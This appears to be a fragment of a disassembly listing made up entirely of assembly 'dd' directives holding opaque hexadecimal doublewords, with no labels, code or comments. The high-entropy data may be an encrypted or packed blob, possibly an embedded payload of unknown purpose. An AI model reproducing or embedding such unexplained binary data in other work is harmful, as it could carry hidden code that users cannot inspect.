		dd 0FF139811h, 3917D015h, 0CA08C30Ah, 6D0D670Eh, 47014F03h
		dd 283B307h, 1E5B2229h,	561F7D21h, 8D1BAF1Dh, 14E31627h
		dd 10C812F0h, 1A0E302Ah, 630A0C0Ch, 0EA34A808h,	36DD0C7Dh
		dd 2DEE493Fh, 0BE202E2Dh, 74161013h, 291AD414h,	1EAD1816h
		dd 4131CCDh, 0C602B012h, 34087701h, 3E7C02F9h, 0F5B89E6Eh
		dd 311C1EE1h, 34497550h, 3607A477h, 1F0AAFC1h, 58285B2Fh
		dd 0DF393349h, 6F610625h, 3D0B5AD1h, 731E350Dh,	14246DFEh
		dd 0A312C977h, 0B4170025h, 362A8223h, 0FF7E2BCDh, 30610636h
		dd 22343F39h, 30124DD8h, 369E3E56h, 10177C15h, 82332275h
		dd 6E017029h, 9E7B2A4Dh, 244F5DC3h, 0D33B5403h,	3CB5B96Ch
		dd 0BCB46857h, 349D37F6h, 0E3411BBh, 2B06159Eh,	2F27F292h
		dd 693D4D32h, 2F462440h, 38B02E44h, 7510B37Eh, 4D93355Ch
		dd 0DC3F7B5Ch, 0F81AA3BDh, 20675B9Ch, 61707720h, 2D6274A7h
		dd 49792BF1h, 0AB7B6D4Ah, 32332133h, 0DA3577FEh, 5C5E71AFh
		dd 0FB3BA41Bh, 313B7A3Ch, 0CF2091E1h, 0E6B12125h, 0C929C945h
		dd 3D2F099Eh, 84344265h, 0D943E42Ah, 14111DA0h,	332D533Bh
		dd 0CF1518DBh, 0A2604A0Fh, 77752549h, 0EB31C075h, 7C393A43h
		dd 6333DD3Ch, 653D36C3h, 0D70AB062h, 16367D6Dh,	934CDE04h
		dd 27A00F0Ch, 29A44C56h, 21A34102h, 0D7B2727h, 35CEAC22h
		dd 30503354h, 2AD03637h, 560A3A38h, 175B3E3Bh, 281E0C1Eh
		dd 2FA12644h, 0A7BF98D5h, 332B2222h, 0CC2F2127h, 3FCCCF3Ah
		dd 683CC5E2h, 383C5B2Eh, 4B4C35EDh, 0A909651Bh,	5522C343h
		dd 27C77633h, 0E96C3E5Dh, 385BC02Ch, 9932E309h,	0DB369783h
		dd 99963999h, 36AF213Ch, 1EBFBDB1h, 0B4218163h,	87692481h
		dd 88A28227h, 2B5CE82Bh, 0C63192AFh, 439F3492h,	3BE53895h
		dd 3E9F5639h, 0B71CBA93h, 2D20BD41h, 87702E93h,	29894B26h
		dd 24BE6280h, 9D84EB2h,	2D953202h, 0FE693A1Fh, 5918AF2Ch
		dd 0DE4938FCh, 0E194BE1Ah, 0F024E731h, 0C02D21E9h, 242CE3ABh
		dd 3186C626h, 3C26CD21h, 0A975BDEEh, 3DEB3929h,	171BBAA8h
		dd 154E15ABh, 0A1A9E7C8h, 2FAF452Ch, 2A1A469Ah,	2F5E98DCh
		dd 414E404Ch, 434A4648h, 474F4538h, 4349414Ah, 67611C63h
		dd 635D5A63h, 5A25665Fh, 566D5464h, 2E6B506Eh, 7A4D7753h
		dd 7C497D4Fh, 46724437h, 42704077h, 52601B71h, 705C4F62h
		dd 5924715Eh, 557C5B75h, 2C1D577Fh, 3012F1Ch, 7C5019Dh
		dd 1A380428h, 4A0F7709h, 1C2F7B0Dh, 14DD2A8Fh, 11B91728h
		dd 0ED12DF25h, 791C231Fh, 78A2E1Ah, 3DA05F8h, 11370E3Ch
		dd 55037301h, 9907B705h, 7F7A1CB5h, 901BBE19h, 0B063D84h
		dd 58E96013h, 90206E84h, 333D3B1Fh, 3B34393Bh, 90EB32C8h
		dd 0E484126Bh, 1219A639h, 0C22D2448h, 8D5A193Eh, 7AB6835Ah
		dd 7E865C20h, 628B1124h, 476B6B38h, 31603F3Ch, 3E363514h
		dd 3940906Ch, 2B229E16h, 0AE72EEA9h, 14270F7h, 796C7A20h
		dd 3E2AFC72h, 32CA76B6h, 2A2A19E6h, 0B6743F3Ah,	9CD114F6h
		dd 4252CDA5h, 44C2D531h, 289F264Dh, 2AC1EB2Ah, 472FFE16h
		dd 1077B84Eh, 0DCF7B226h, 1FDC234Dh, 227FEAD5h,	3C4C3E8Ah
		dd 9D0BE17Dh, 76B2464h,	276A3C79h, 3F1D6CC2h, 5B603553h
		dd 7544FBE4h, 5939F89Eh, 0FEEFD531h, 44101C18h,	402C223Bh
		dd 2B212382h, 84242FA6h, 2829AD28h, 3131EB22h, 232C5C63h
		dd 0DD6634D5h, 32D5B037h, 0BD8ED9BEh, 49721C1Eh, 85254189h
		dd 10C63ADh, 0F824D47Ah, 9538EFABh, 1170A73Dh, 0B9D0241Eh
		dd 3DB6453Ah, 149F622Eh, 20316ADDh, 4C721A3Ch, 294CA489h
		dd 0C4426448h, 2B2F973Fh, 34A7A431h, 0BEBD6636h, 3F3B3AAAh
		dd 0DE576E6Fh, 1F0EFC80h, 32BCC921h, 0ADB4AB21h, 32133B27h
		dd 30C6EC29h, 27582135h, 733965B5h, 0D3683F52h,	0B53B270Eh
		dd 50180C1Fh, 0E4A0250Fh, 9C2036E3h, 0C32C3C71h, 764C1EBBh
		dd 2240353Dh, 1235E536h
		dd 3E67670Fh, 0E9D20012h, 12131B30h, 663B101Eh,	6DADEA11h
		dd 2B60AE32h, 2C564B3Ah, 0F6576A0Dh, 0BC303372h, 0FED7FA9Dh
		dd 0C33C337Ah, 0DB8385E2h, 7869125Dh, 6B331075h, 7D2E2360h
		dd 2D3B3F78h, 0BB334FCCh, 0F5B8227Fh, 0C52336B8h, 0D4FA3E39h
		dd 173FB33Eh, 4E029EE5h, 6F6A2172h, 36ECEFCCh, 0F6E6128h
		dd 7B762D74h, 313F6060h, 13368210h, 0D37E2938h,	3BB7F042h
		dd 1CD17E75h, 7BC9740Fh, 26603423h, 4829005Fh, 2C7D7E0Fh
		dd 3360B967h, 0E1178B3h, 380D1437h, 0D6697868h,	1EC1849h
		dd 352A1BBAh, 416D1F23h, 2C70EB9Eh, 34E02859h, 7938242Eh
		dd 3B876679h, 6B7B7C7Eh, 393CA9AFh, 89583FAEh, 1652521Dh
		dd 26502320h, 0C325CD21h, 2CD2C22Ch, 6BD0D1D2h,	8D55FB00h
		dd 0B8C8C935h, 7FC4344Ah, 0FD8026DFh, 1CDF1CDCh, 9723E3FEh
		dd 0E5F0CC60h, 0E5C39129h, 6B922CEEh, 3AF0F7D9h, 0F788DCE8h
		dd 0E3E08139h, 0F2482EFEh, 0D425CE08h, 0E1301Dh, 0BCCC1A2Bh
		dd 0EBA853A4h, 2E1D2D74h, 0B249D92Dh, 703676DDh, 3979112Ch
		dd 9C3D41EBh, 1E1CDA6Bh, 21E234F6h, 2524E24Bh, 9105CF22h
		dd 0D3D6352Ah, 4F7EA2D1h, 117073F4h, 28D03226h,	3DB7FB3Ah
		dd 97131B72h, 0A97B40DBh, 20232F21h, 0EB37E2A6h, 2C2C2FB9h
		dd 5A2F02E1h, 0A35C5ACEh, 39377535h, 0DC6D9B5Dh, 122FB715h
		dd 1BD89E1Ch, 0D257D21Bh, 7C78397Bh, 13150013h,	0C7C60AACh
		dd 17F22CFFh, 2834A66Dh, 7638283Ah, 0C032C244h,	7124BF42h
		dd 64DAB3Ah, 2E642533h,	11F0A337h, 0EB0C58DEh, 822D160Eh
		dd 0DDDFF00h, 797D05B7h, 3F9D161Bh, 2792143Dh, 21AB1E3Eh
		dd 78AC3B67h, 0D6D0A430h, 3871A32Ah, 0CE60285Ah, 0E9BCB327h
		dd 97813634h, 75B8FBB6h, 9E037AF9h, 0A00A333Fh,	4A35703h
		dd 852AF63h, 6A0A9FA4h,	0D8E1A50Dh, 36532B67h, 0E88F1678h
		dd 7AA5397Bh, 1BBAB33Eh, 1E9FD305h, 67232128h, 0C98DE435h
		dd 8528382Ch, 3C162F3Dh, 312D5732h, 0DE2A7824h,	3F1DCBD8h
		dd 0AE6BBBD5h, 1C8E7419h, 4C277A21h, 8CA82C42h,	493EC97Bh
		dd 8F592C89h, 30C0682Fh, 0DE659429h, 392C722Ch,	7F0A297Bh
		dd 7792572Ah, 62A50A5Fh, 306CDBF0h, 3C67767Ch, 0EF3F412Dh
		dd 69717B3Ah, 0FDDC6F60h, 61786336h, 0FD382FFEh, 0DC40DB2Ah
		dd 0D420DEA4h, 30E73720h, 2F33EF5Ah, 2F017BF8h,	716F2747h
		dd 77B3723Eh, 77237F30h, 18772E78h, 0A63BD655h,	0DF6C0EF7h
		dd 2331C021h, 5B2145AEh, 18802C68h, 2F3CA62Eh, 0BEF03A19h
		dd 7D0AC93Ah, 4606DAA8h, 53FA0FBDh, 362908FDh, 0C8B6BAF7h
		dd 32C42C37h, 24A35799h, 0CA7A38CAh, 7DD053Bh, 790218h
		dd 0D130E58h, 6C40BF4h,	24EC22B9h, 1BF42505h, 180419D0h
		dd 14DB1A56h, 1233158Dh, 0E8B10B7h, 36340CCDh, 38383686h
		dd 6F3F3B56h, 892BB60Eh, 422E1D2Dh, 0CF12AA10h,	6E150214h
		dd 9819B31Bh, 3C2C3D1Eh, 0D333937Dh, 3AD6937Fh,	217C780Bh
		dd 833ADE96h, 0C3A3BDEh, 4D2280F9h, 8E268484h, 2B8BBCB7h
		dd 907BCF48h, 446845B2h, 22A23595h, 1B38D86Fh, 7C653BBDh
		dd 0C8391D5Ah, 0F323E18Eh, 9A2445ABh, 3DAB0D09h, 7E24AC73h
		dd 627676A2h, 2D803D37h, 329C6076h, 0DD359806h,	0B76182Eh
		dd 1233F9Fh, 0CD753048h, 320C592h, 2F24CF0Ah, 70E027CEh
		dd 0A141655Dh, 31DC6566h, 0CB34D254h, 5F0A9601h, 3B7D16FDh
		dd 49CB721Dh, 2D242ECFh, 708E22C9h, 0D1FDC62Ch,	36176633h
		dd 9C35D551h, 3F3BBA1Dh, 181F9F6Fh, 0A8F61F68h,	65A2703h
		dd 27B26527h, 0AFEC792Bh, 0EB2D4C4Dh, 3053A8D8h, 56B2F2FAh
		dd 501DB04h, 0B53C3CFFh, 0A1F7DCD4h, 0A1212F05h, 0CF49FCE2h
		dd 47C1881Dh, 2D012CD9h, 381930DCh, 36C769DBh, 3139CC42h
		dd 0CC70B6D3h, 1DE8A53Fh, 0D31DF712h, 85236522h, 2428D631h
		dd 2DDE06C2h, 31C47E7Eh, 0C729DB3Ch, 39CCAE36h,	30D42F35h
		dd 0E8F93FCCh, 0DDF70E1Dh, 24D2CB33h, 0A32A230Eh, 2CD5A9D9h
		dd 3B285BD2h, 0F0B06CF1h, 7B362617h, 3CFB0925h,	4E6E3A61h
		dd 0DE78435Dh, 42602341h, 3326E534h, 0AABCA96Bh, 370A7920h
		dd 3531B156h, 0B9DE6734h, 0B8C5C722h, 3F3A37F8h, 6A1D1418h
		dd 72314A1Bh, 0AFA5A4F6h, 1E0D7CAAh, 1E7F2E41h,	0E4D9FEA4h
		dd 3C302F33h, 46391C73h, 0B56D3D51h, 1D98DCF1h,	21219F3Ah
		dd 0EC58CB24h, 0A2D7D826h, 9A8EDE2h, 2CB03E5Ah,	0B497DB33h
		dd 312DC81Eh, 3C3EE03Ah, 9F1FFBBDh, 0AD1E3EE5h,	2523066Dh
		dd 1E4ACE25h, 68A0D5D7h, 0BD3B2E09h, 5E63147Fh,	1237DE7Ch
		dd 6CC4C404h, 19D7F5B6h, 0F7021C3Eh, 0DCDC1AC1h, 37E225A7h
		dd 185FE9ADh, 0C72AE2A7h, 0B906319Bh, 3436A6BAh, 0A9ACB368h
		dd 93AE3D3Ch, 1F398C11h, 7302B01Fh, 33B53FA7h, 0C27DC803h
		dd 0ADFFAAD3h, 6030E368h, 86FBA3DBh, 2E7A3BB5h,	35857BCAh
		dd 19DB193Fh, 21182DBFh, 65F1DC26h, 2A2A0203h, 0EB172F4Ah
		dd 1428245Bh, 0C9653926h, 270890DEh, 3D3F02C1h,	1C141041h
		dd 5E2C1E12h, 6610BB12h, 0A8134A11h, 0B71FA31Dh, 8D1B9B19h
		dd 0CA07DC05h, 74027001h, 9E0E4C0Ch, 0AD0A9608h, 0D02BA029h
		dd 0C814C015h, 60113B12h, 2C1D671Fh, 7E162314h,	790B7108h
		dd 380F470Dh, 4A002F02h, 0FB04B606h, 661D4A21h,	26210FBDh
		dd 755684A2h, 4F5A2C27h, 330AFD48h, 0C25230DEh,	0A6243474h
		dd 69545937h, 6C2D4C2Ah, 1D7E784Fh, 0AD6D6C7Fh,	4D064D43h
		dd 4D4D2497h, 2CA84B79h, 353036FEh, 5C585C62h, 2B417555h
		dd 6D393B09h, 0BEABEF52h, 0AF1959h, 7C2F1AC9h, 2A7F2265h
		dd 0A12A2964h, 62070A79h, 368878D9h, 4362E09h, 3D3895h
		dd 0E7D7561Ch, 1B2216BFh, 0F1221D29h, 6A4C8500h, 2C55C178h
		dd 13295110h, 0F3DA1378h, 0A2FE2B38h, 6A762731h, 9D91233Dh
		dd 1F4CA81Bh, 882182BBh, 0BF24753Fh, 8B4D2885h,	2E8FA22Bh
		dd 3030B465h, 0E63596B0h, 423998CBh, 0D63D9E6Eh, 0BF711B9Eh
		dd 2181A71Eh, 25837640h, 65288071h, 8A6D2B8Dh, 9665192Eh
		dd 35931832h, 2C389016h, 4C0D3B9Ah, 5A542EABh, 701C0F6Ch
		dd 0A760F264h, 5D6C62E2h, 1CA0AC82h, 2CAA4E23h,	450EB966h
		dd 0EFC8223Eh, 0FCD35A89h, 0CCC06D31h, 563A1C47h, 53908539h
		dd 0D79975FFh, 8A29347Fh, 3F327D40h, 33363030h,	11173436h
		dd 403B393Bh, 35490936h, 10141524h, 28A85C68h, 62C9A554h
		dd 9DA90B24h, 0AA16869h, 0DABEC0C7h, 16A9565Bh,	821DB430h
		dd 0B34D3C8Bh, 1D1FBB67h, 271F718h, 2404AB23h, 9A7F751h
		dd 10BA1B2Bh, 95512E1Dh, 71363206h, 753C1EDEh, 8FFBBF68h
		dd 7ED92D22h, 0A0BD33D7h, 0C76890C9h, 1A05D4D7h, 0ED221803h
		dd 3155AAB0h, 4E3B9359h, 39766379h, 2C6E4B3Ch, 2934137Fh
		dd 4D37DB2Ch, 320DA017h, 25E70925h, 4A8360AFh, 6D83EF2Dh
		dd 9430DC91h, 377117E1h, 4D0F590Dh, 0EF08EE09h,	221E261Bh
		dd 1EB21C6Bh, 0B5182430h, 0C9172B1Ah, 112DEF15h, 3271312Fh
		dd 36354831h, 5A093534h, 0C40D900Bh, 2C562B3Fh,	10CA2E86h
		dd 5B162316h, 271AE114h, 1E2C7D19h, 2C01C88h, 3AB40767h
		dd 36B88606h, 7D245133h, 131FFE32h, 6E1513DDh, 0A4E3B3E3h
		dd 0C0752F1Ah, 0ED10409Ch, 25EF5238h, 0F40EB825h, 0B9220A1Bh
		dd 12FA6919h, 11777EC1h, 9D4B96F4h, 29A2012Ah, 212CA438h
		dd 7A252968h, 45260D2Eh, 6532F333h, 21963545h, 3B4B678Eh
		dd 3A58316Ch, 7E1C2C1Fh
		dd 0B28B240Ah, 32BE2032h, 29BD8E23h, 842FB49Ah,	0D233A587h
		dd 0A2DE36A2h, 38ADCE35h, 9A73DCFh, 144AEB33h, 0A4231E5Eh
		dd 354522F7h, 28280F25h, 75B20F6Eh, 3291772Fh, 3715EB94h
		dd 18B0A5D7h, 9CD02738h, 3DF4983Eh, 1E9D4A1Fh, 85A84583h
		dd 2A261D2Eh, 2C898F9Ah, 293B6CA3h, 0C563F05Dh,	67933414h
		dd 0D63B9B68h, 0BE3D1F4Bh, 1FB65E5Dh, 28232721h, 9129A79Fh
		dd 3A0E37EAh, 6FA18C11h, 2851D960h, 21763CF5h, 0E738E94Eh
		dd 971A7119h, 74351CA3h, 0ECAA711Eh, 0A253FCBh,	0AA41D7D9h
		dd 2E2D6844h, 0F5F9BB2Eh, 31551077h, 0D23A3837h, 0C1C3147Ch
		dd 12DC1BBAh, 0EEA3DC8Ah, 6924AEDDh, 55A10302h,	61A1770Eh
		dd 2F302B0Ah, 3534CC16h, 7F8CDF3Eh, 1970A83Ah, 78936122h
		dd 761F1394h, 21E006E5h, 0A23469A1h, 0BE2A2A24h, 0BD18B02Dh
		dd 1463AC31h, 3810B68Dh, 0D4A4383Bh, 19A33EACh,	9C481C1Ch
		dd 0CBAA25E1h, 46266DDFh, 5C7A0D9Ch, 29CD2E7Dh,	22253D70h
		dd 73354506h, 1F5EB520h, 0D73C0D28h, 781C0DD5h,	73320C10h
		dd 0CE2A47A4h, 423BF8AAh, 0AF7C108Fh, 4615A42Eh, 467BCD0h
		dd 0EA68943Fh, 51D53A3Dh, 2D4C1ACFh, 0F163CE1Dh, 222D5027h
		dd 292B4DCEh, 2C2CEE36h, 37336B72h, 1094A2DAh, 0BF7A5074h
		dd 3C56311Ah, 46FD378Dh, 0BC973A25h, 0ACB2BC3h,	0DC4F2184h
		dd 0AE264BA2h, 40EF9277h, 35F38C3Eh, 0D0576E3Fh, 34A93A1Ah
		dd 725E3737h, 38F62104h, 21831C20h, 24262D64h, 629A8C8h
		dd 0C12D2D24h, 331C32B1h, 0B677C937h, 383A163Bh, 3CBE9836h
		dd 1D1D142Bh, 1322A107h, 7032723h, 2A1B2BA6h, 2DAC1828h
		dd 31B5301Ch, 236B571h,	0BB693B37h, 3E082C38h, 1E9D453Ch
		dd 63231F28h, 0E169A24Eh, 0A87D59CFh, 0C478EF13h, 5F31EB58h
		dd 0F15232F6h, 0FB296937h, 6BD5E73Bh, 0CA33EFEh, 315E133Ch
		dd 63396C2Fh, 0C0772239h, 30698120h, 0F40C20ECh, 35F72921h
		dd 7136F626h, 96DD32BBh, 1A3F36B8h, 45E61BD8h, 2B20E274h
		dd 33E4A045h, 0EB06C120h, 3BE52A12h, 9CDA3828h,	0E4B33D76h
		dd 3DD2332Ch, 3AD33F3Dh, 0F61608C7h, 0AB0084C1h, 0CE2930C7h
		dd 352B2A1Ah, 2C291D1Ah, 50FCD822h, 0DE4D9647h,	39BBFB99h
		dd 3029407Eh, 57E05D7h,	5BC19F9Bh, 0FE20A663h, 5728E7AFh
		dd 538A127h, 0B9E11D2Eh, 0E741B26h, 0CA4433F5h,	0B52008DAh
		dd 4EF02C74h, 3596FD98h, 683B03E5h, 0A4732E85h,	34880E0Dh
		dd 145B3608h, 77181011h, 1D551014h, 2B41B7F2h, 4ACA271Dh
		dd 6DD2105Fh, 604F014Fh, 0E4892726h, 0A722EF2Eh, 84C2F65h
		dd 77333336h, 0FC2DF536h, 0F1BF38FCh, 56209C30h, 1B41FC68h
		dd 5055B809h, 2636474Fh, 40632928h, 2D4C2D23h, 4242596Bh
		dd 3C564052h, 0CD3AFA5Fh, 4B6C1C3Ah, 8D12695Ah,	0A8226BD7h
		dd 365001F3h, 265A20F6h, 2C9C58EAh, 2291E45Eh, 3FCB6B83h
		dd 66514623h, 60625318h, 0DCEDAB31h, 22AF1FA5h,	7D23DB13h
		dd 23042983h, 2E93B729h, 0BB2F13E1h, 343B34B0h,	0C0B43637h
		dd 0B67D4EC6h, 736E35ACh, 0E0481F7Eh, 21022AF5h, 44EE06E4h
		dd 292A21F9h, 0C7787D7Eh, 3552102Eh, 0B43053F8h, 592AFDF4h
		dd 6E3B1D3Ah, 0DA1FDE73h, 0EAA5A219h, 0CE737425h, 2CE908CBh
		dd 28FEE805h, 34F532EDh, 6733FCBFh, 80D1CC61h, 0AA063AFAh
		dd 0AA202304h, 91E1B22h, 6C1A0D1Ch, 0C0166818h,	2D136D14h
		dd 31330F2Fh, 36347B33h, 0D0905FDh, 66901BFh, 27D004ABh
		dd 1BF825C0h, 182C19DBh, 144A1A7Eh, 10A1165Eh, 0CDC12E9h
		dd 9140F34h, 57D0B0Dh, 71B60782h, 9FD76E00h, 3E926DFDh
		dd 0DC7320C2h, 287B131h, 0CAA946A8h, 0A639EF06h, 48DA6375h
		dd 0B2A60C04h, 281A4DF8h, 5E5DD53Dh, 32081833h,	70714C1Eh
		dd 710D04Bh, 0C27C2857h, 3EAC375Ch, 0A763893Fh,	75DD1BB2h
		dd 8A2D3A17h, 583F2839h, 75912BB0h, 0C8DFE0B5h,	25AA4786h
		dd 288CAA0Ch, 2ADAB2Fh,	30BCA29Ah, 30364637h, 38523DB4h
		dd 3FDC0118h, 2A8D1D1Ch, 361E9C1Bh, 256AD609h, 0A7FDD033h
		dd 2CF3BA11h, 0A5454E05h, 0B54B24F0h, 40582637h, 0DC1643ADh
		dd 1CBF503Ch, 61CF7275h, 2E38A059h, 4026342Eh, 9822A829h
		dd 4EE8453Ch, 5C4052D0h, 9829353Eh, 14329630h, 37913593h
		dd 16B014B4h, 703E125Ah, 49563446h, 2EA5E4Bh, 8F362C21h
		dd 20337C9h, 26E91403h,	0DA399C38h, 0E3E3C33h, 1DF81B9Bh
		dd 852D3B1Dh, 2A34CB22h, 29C42782h, 8C273B29h, 0C1B81F2Eh
		dd 1168D522h, 1ABEDF2Eh, 9278180Ah, 0C2EB42Ah, 707D01FDh
		dd 75371431h, 3865B677h, 7F892877h, 45448Dh, 62622264h
		dd 0DA61DE66h, 7C479A48h, 1BA7364Dh, 0B2EAC1Fh,	3B70104Ah
		dd 0F6DB78CCh, 5EA23938h, 296EA632h, 745BD960h,	3336D5C9h
		dd 3B3CFE20h, 2938AFB8h, 5E449515h, 662AB03h, 0D0532A8h
		dd 0A7A28AEh, 28A6195Eh, 3A1B607Ch, 74ECBDDBh, 0CAB2480Eh
		dd 7E433ED3h, 970C913Eh, 213625D4h, 0EE1E3F57h,	79A23352h
		dd 2CAC2A28h, 3F452E78h, 3734F3B1h, 33AF1B5h, 3DDC4EF1h
		dd 19F0FF0Dh, 0F89CDE06h, 3782DDABh, 0A42DE122h, 3BCBA60Dh
		dd 2F2D682Fh, 33FC2C6Eh, 26E231FAh, 393B3C66h, 735E3E44h
		dd 3F247273h, 232A5205h, 27877C27h, 587F0909h, 66072D35h
		dd 0B1AC3974h, 56666935h, 3B69C979h, 52575C34h,	0A8181EF9h
		dd 922B204Ch, 79456A76h, 9A449F2Eh, 227C2C1Fh, 83332247h
		dd 8E653F53h, 3839296Fh, 0D6303E72h, 4E0C5A3Eh,	762D6F4Bh
		dd 4AA44B6Ah, 3856A727h, 3E5641BAh, 0BFE027EEh,	0F9E4FFB6h
		dd 985D69BBh, 0F6B73A99h, 1D6F5CD6h, 841E6FA8h,	2550046Fh
		dd 297368CDh, 232B7A89h, 0CF2F212Dh, 343C323Eh,	3838363Ah
		dd 3C343A36h, 1B303E32h, 101E12E3h, 2C222E20h, 28262A24h
		dd 242A2628h, 2F21D22Ch, 333D313Fh, 3739353Bh, 3B353937h
		dd 30C13D33h, 111D131Bh, 2D212F1Fh, 29252B23h, 0A8782727h
		dd 2D2D8F7Ah, 9B3224EEh, 0AC9622A3h, 694C2D86h,	3EFFAA23h
		dd 0BECF5C95h, 3820DD97h, 0F7583B16h, 73EF5E26h, 3513B745h
		dd 313F4891h, 830F3AA1h, 0AB31A891h, 1F3C2333h,	0BC1E390Fh
		dd 11C0C14h, 7C9AC26h, 28D62207h, 0ED3ED50Fh, 0EB1C7236h
		dd 0E183B401h, 381B3725h, 5A110A19h, 5A0B3E7Dh,	0F7F591Ch
		dd 23F62416h, 1F26E425h, 0EB1029E9h, 52EEC2Fh, 0D32700Ch
		dd 76763575h, 61C57B38h, 1B318DE9h, 75DD19BAh, 48215137h
		dd 27950089h, 73E3BF75h, 863C2CFBh, 923030FAh, 0B63539FAh
		dd 1C3D3866h, 3E20698Eh, 5BD9DA08h, 0AE4366B5h,	0CD4C09AAh
		dd 292D7FA6h, 0A72A7A28h, 1A367E36h, 31341813h,	39A60744h
		dd 0D05383Ah, 2A2A3D3Eh, 211F265Dh, 82AA1B10h, 6B21864Eh
		dd 2A4B3B37h, 83216EE0h, 8499C71Ch, 0BE5DBF65h,	3BBB283Eh
		dd 0B638B2ACh, 97A7309Bh, 0DAB6727h, 0A73522A2h, 0A77F3F2Fh
		dd 5203AA2Bh, 177E36B8h, 325C8104h, 3AC82FF9h, 2B39BF65h
		dd 7771B9Bh, 242E2796h,	82680773h, 54AA4E2Eh, 5B2D2D2Dh
		dd 7FBB0Eh, 0BE643759h,	0DF752DC8h, 6C0F6A3Fh, 0AD201FD5h
		dd 5E20DD1Fh, 24243C1Fh, 29A37226h, 45D341C6h, 3173948Eh
		dd 94503232h, 5D683336h, 3D193BB3h, 4F7BC3Ah, 5C14484Eh
		dd 560344A1h, 6E44A02Fh, 7C2B4A7Bh, 3C273BD2h, 2CA230EAh
		dd 0B14F3CD5h, 0D4B30C7Ah, 1AFF40DCh, 3F86F5D2h, 6A632025h
		dd 0A22DCD60h, 1B19D6D6h
		dd 128A45C1h, 32323501h, 139299BDh, 0B23CB98Ch,	4D4BDD50h
		dd 1E7E3BABh, 44237E1Dh, 43A54151h, 289D2A27h, 21FD5E58h
		dd 302DC00Ah, 0C7373441h, 4E5F3077h, 31CD5339h,	7E7A1973h
		dd 52227072h, 27732162h, 4C584840h, 2C2C452Ah, 52472DF1h
		dd 31A53241h, 5F3A6E34h, 6D484E4Ah, 4F473F5Dh, 47077175h
		dd 6B634C54h, 7F0770E5h, 2C592C48h, 5C2E6E02h, 1457405Eh
		dd 51537325h, 59023B4Dh, 786F594Fh, 5C45121Ch, 29A51B2Ah
		dd 2D6B8E1Eh, 6D213568h, 452E7F30h, 31633163h, 65043959h
		dd 757F6F79h, 77DF1D6Fh, 3E0E115Ah, 1E1E6055h, 259ACA8h
		dd 262EA933h, 35ED2EC3h, 0DA39BBBFh, 0B3289499h, 1A30F9F7h
		dd 87D5154Fh, 11025992h, 71EECF95h, 22427CCAh, 692D07F1h
		dd 72E40B62h, 0F16EEF1Dh, 253CF151h, 0FCD03636h, 2D4A365Bh
		dd 5C7C3D69h, 547A5970h, 2C474D6Ch, 9424A50h, 414A6471h
		dd 486A2E48h, 713B3270h, 5509435Bh, 3DE86A7Dh, 1A076E8Dh
		dd 4F1D1DFCh, 73637220h, 6B620B6Dh, 45EB9064h, 0A65D705Fh
		dd 0BAE23194h, 146C240Bh, 0A807B3B8h, 1BB72A3Ch, 1E8C2916h
		dd 37F1CDA6h, 0AFADEC08h, 2AFB632Ah, 0FF2E2C36h, 0C1BAB013h
		dd 4BB8EDB8h, 7A7BA943h, 0BDF6B79Eh, 20FF6FFDh,	0E30C1D2Bh
		dd 0A60E2F21h, 19A122E4h, 1D31A11Bh, 3B402FCFh,	934BE12h
		dd 33C7BF1Ch, 291A3B35h, 2259D6BAh, 0BC521A4Ch,	200214C8h
		dd 2C05EFFDh, 203C9EC7h, 609ED5F1h, 0F01934A3h,	9A273694h
		dd 3C9B8E39h, 0DFBF1BC2h, 0A71F1FC5h, 20033730h, 240099B2h
		dd 2AFE0E55h, 0EF490E08h, 0A1620B35h, 37BFA636h, 73B33D70h
		dd 3376B434h, 0E2122318h, 6CAA2866h, 23747427h,	5B2D3A07h
		dd 0A5296A19h, 19313C79h, 0F7FBBFE3h, 1A6B3ACDh, 5404D46Bh
		dd 5B837AC0h, 67A9DF1Ah, 2962AA2Ah, 2DD790E1h, 7C242A2Bh
		dd 44E2AA2Ah, 37450031h, 59331896h, 6D3C9A0Ch, 49183FFAh
		dd 6C3B4A14h, 2D1134E0h, 33002907h, 0B8670E65h,	76C7223Bh
		dd 0D43FF208h, 3466B216h, 0EC7F36FEh, 19555A19h, 7FC2097Fh
		dd 81217715h, 2A257140h, 287E2FC0h, 8E2D7D21h, 91DA3860h
		dd 670F65CFh, 38E80950h, 693DE132h, 1B1ECE39h, 35200808h
		dd 3A26FDBDh, 0F897C0F3h, 2DFF1828h, 451852FEh,	21D0703Ch
		dd 507E3BE6h, 5D2A3972h, 291FA99Ch, 0A2C8020Dh,	971C2090h
		dd 9ABE2525h, 0B60A629h, 368C2F97h, 0DD2E33C1h,	39CA65BCh
		dd 243CCF49h, 1CE97DD6h, 20EB343Fh, 0D611CA39h,	7921C725h
		dd 0C43C2ADAh, 0A82FDC0Fh, 202532C5h, 38C524DDh, 293BCE76h
		dd 0E97A3CD5h, 1FEA1B1Ch, 11D0C934h, 22849877h,	0C33929DBh
		dd 2E9ADFCEh, 32F69B31h, 3637E135h, 0D13B38DAh,	0C7943C3Dh
		dd 9F1B1D1Ah, 2320320Dh, 8C242507h, 6A282915h, 2F612D2Ah
		dd 33306C2Eh, 37345A99h, 0A23839B3h, 3F9B3D3Ah,	1CA8513Eh
		dd 2020D31Fh, 52E5DB4Bh, 4AE9B228h, 0EDAFAA8Ch,	0DF346926h
		dd 61CFF231h, 69B3D357h, 0EE73B6D2h, 481D314Dh,	0AB1B3A1Dh
		dd 0ED107420h, 131526AEh, 0B82474EFh, 0F1ADA4ECh, 626041ADh
		dd 18CEBD62h, 0BC37BC0Dh, 3B061F0Bh, 7F444DF4h,	0CBEA292Dh
		dd 0D70F2443h, 2B25C17Eh, 960F2D24h, 3319FD32h,	331271BFh
		dd 0F3A4D70h, 77244974h, 1E96486Eh, 20BC3012h, 0D220E322h
		dd 2B2BB427h, 0C62E2C2Fh, 0CC129027h, 3F08DFCCh, 10393F1Dh
		dd 3E28732Fh, 371F3D15h, 2783DF2Dh, 260823DEh, 528261Eh
		dd 1D2C897Fh, 93042F8Ch, 35960B32h, 399A620Ah, 793C997Ah
		dd 0BE533F9Ch, 824A821Dh, 24817221h, 70278471h,	79772A8Bh
		dd 924F2E8Fh, 34915631h, 5437945Dh, 4C3B986Ch, 0B94B3E9Fh
		dd 4BDC651Ch, 2380745Ch, 1826C7A0h, 2B152A28h, 0A47B2D18h
		dd 5BCD5BDCh, 74840534h, 9A5E3838h, 6F3A1D3Ch, 0DE38957Fh
		dd 2229CC78h, 0AD727270h, 28F1F81Ah, 4BA42D2Bh,	0F5C0BBDFh
		dd 36C93476h, 91BFB233h, 0BA3D3F3Bh, 75156EFFh,	21201CF6h
